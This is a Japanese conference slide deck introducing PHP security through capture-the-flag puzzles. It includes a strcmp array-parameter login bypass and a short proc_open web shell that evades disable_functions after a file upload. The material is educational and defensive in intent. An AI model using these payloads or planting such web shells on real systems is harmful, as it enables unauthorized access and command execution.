PHPerKaigi 2019 ルーキーズLT
CTFで学ぶPHPセキュリティ2019/3/31PHPerKaigi ルーキーズLTRyoto (@systemctl_ryoto)1
View Slide
CTF - Capture the Flag2
CTFCapture the Flag● FPSのゲームルールの1種● 敵陣のフラッグを自陣に持ち帰る● 由来は物理的な遊び● 転じて…3
CTFCapturethe Flag● 情報セキュリティ的に脆弱な「何か」が用意される● その脆弱性を突いてFlagを取得する競技※ Flag = 仮想的な機密文字列flag{PHP_is_s3cur3!}↑過去に本当に見たことあるやつ● 問題ベースで楽しくセキュリティが勉強できる!● 徳丸さんの挑戦状もCTF4
PHPerチャレンジはシェルを奪えますls -al /もmysqldumpも実行できる5
CTFの主要なジャンル厳密な分類は大会やサイトによって微妙に異なる6Pwn プログラムの脆弱性を突くReverse リバースエンジニアリングForensic パケットやFile systemなどCrypto 暗号解読Web クライアントからサーバまで
WebのCTF情報セキュリティ的に脆弱な「何か」● 「Webサイト」● 「ソースコード」どこが脆弱かはもちろん、どこにFlagがあるのかがわからないこともたのしい謎解きの始まり7
CTFのPHP問題例- 実際の問題の一部分 -8
前提:パスワード認証のソースを入手したinclude "define.php"; /* 403 Forbidden */if (strcmp($_GET['password'], PASSWORD) == 0) {echo FLAG;}目標:なんとか突破したい!言語仕様に関する問題9
前提:パスワード認証のソースを入手したinclude "define.php"; /* 403 Forbidden */if (strcmp($_GET['password'], PASSWORD) == 0) {echo FLAG;}目標:なんとか突破したい!言語仕様に関する問題10
言語仕様に関する問題11
言語仕様に関する問題12
言語仕様に関する問題13if (strcmp($_GET['password'], PASSWORD) == 0)strcmpは配列や関数などを受け取るとnull+Warningを返す)http://localhost/dump.php?password[]=admin にアクセス↓array(1) { ["password"] => array(1) { [0] => string(5)"admin" } }
include "define.php"; /* 403 Forbidden */if (strcmp($_GET['password'], PASSWORD) == 0) {echo FLAG;}目標:なんとか突破したい!先ほどのヒントを踏まえると…言語仕様に関する問題14
include "define.php"; /* 403 Forbidden */if (strcmp($_GET['password'], PASSWORD) == 0) {echo FLAG;}目標:なんとか突破したい!Ans: http://target.host/?password[]=言語仕様に関する問題15
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚disable_functionspcntl_exec, exec, popen, passthru, shell_exec, system目的:シェルを奪いたい!(任意コマンドを実行したい)任意コード実行16
(注:shell_execと等価なので`cmd`はダメ)任意コード実行17
pcntl_exec, exec, popen, passthru, shell_exec, system...proc_open関数がノーマーク任意コード実行18
pcntl_exec, exec, popen, passthru, shell_exec, system...proc_open関数がノーマーク前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚目的:シェルを奪いたい!(任意コマンドを実行したい)任意コード実行19
Ans. 以下のPHPファイルをアップロード$cmd = $_GET['cmd']$process = proc_open($cmd, [1=>["pipe", "w"]], $pipes);echo stream_get_contents($pipes[1]);これを1回アップロードすれば?cmd=...でやりたい放題任意コード実行20
CTFに興味が湧いてきた人は!21
やってみよう!22常設CTF(Web・PHP問題が入門から充実している)● https://www.root-me.org/en/Challenges/Web-Server/● http://websec.fr/※ 垢登録するときは捨てパスワードを使いましょう慣れたらコンテストに参加!● https://ctftime.org
困ったときは23CTFでは解答例のことをWrite-upと呼びます。考えてもわからなかったら答えを探すのもあり!("Write-up"で検索して問題を探す荒技もあり)
Thank you!@systemctl_ryoto24